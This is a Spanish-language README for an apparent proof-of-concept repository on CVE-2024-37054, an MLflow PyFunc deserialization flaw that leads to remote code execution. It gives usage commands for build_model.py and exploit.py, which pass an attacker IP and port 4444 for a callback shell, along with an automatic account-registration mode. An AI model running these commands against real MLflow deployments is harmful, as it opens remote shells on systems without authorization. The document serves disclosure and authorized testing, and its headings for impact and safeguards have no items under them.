
Repositorio de prueba de concepto e investigación para CVE-2024-37054, una vulnerabilidad de deserialización insegura en la carga de modelos PyFunc de MLflow que puede conducir a la ejecución remota de código.
Este repositorio documenta la investigación sobre CVE-2024-37054, un problema de deserialización insegura que afecta el manejo de modelos PyFunc de MLflow.
En las versiones afectadas de MLflow, cargar un modelo PyFunc no confiable puede provocar que la lógica de deserialización de Python procese un objeto serializado que contiene comportamiento controlado por el atacante. Si se carga un artefacto no confiable, el código puede ejecutarse con los permisos del usuario o servicio que realiza la operación de carga del modelo.
Las versiones afectadas reportadas en avisos públicos incluyen:
MLflow 0.9.0 through 2.14.1
El riesgo principal no es simplemente "subir un modelo". El peligro ocurre cuando una aplicación, analista, worker o plataforma de ML carga un artefacto de modelo serializado no confiable.
El impacto potencial incluye:
build_model.py
Crea un artefacto de modelo de prueba controlado para su uso en un entorno de laboratorio privado y autorizado.
exploit.py
Automatización privada de prueba de concepto utilizada únicamente para validar la ruta de la vulnerabilidad en un entorno de entrenamiento autorizado. Este repositorio no incluye objetivos activos, credenciales, tokens de sesión, archivos de configuración de VPN ni payloads destructivos.
Ejecute esta prueba de concepto únicamente en un entorno de laboratorio autorizado.
Cree el artefacto de modelo controlado:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
Si aún no tiene una sesión autenticada, use el modo de registro automático:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
Este modo crea una cuenta de laboratorio temporal, se autentica en la aplicación y continúa con el flujo de trabajo de registro y validación del modelo.
Si ya tiene una sesión autorizada válida, pásela directamente:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Reemplace:
<YOUR_IP> con la dirección IP accesible desde el objetivo de laboratorio autorizado.4444 con el puerto de escucha utilizado en su laboratorio.<SESSION_TOKEN> con el valor de su sesión autorizada activa.Nunca publique tokens de sesión reales, credenciales, archivos de VPN, direcciones de objetivos ni detalles de callback.
Las organizaciones que utilizan MLflow deben tratar los artefactos de modelos como entrada no confiable, a menos que se haya verificado su origen e integridad.
Salvaguardas recomendadas:
Este proyecto está destinado únicamente a investigación defensiva, educación y pruebas de seguridad autorizadas. El flujo de trabajo de prueba de concepto se evaluó únicamente en un entorno de entrenamiento controlado. No pruebe esta vulnerabilidad contra sistemas, cuentas, servicios o redes sin autorización escrita explícita.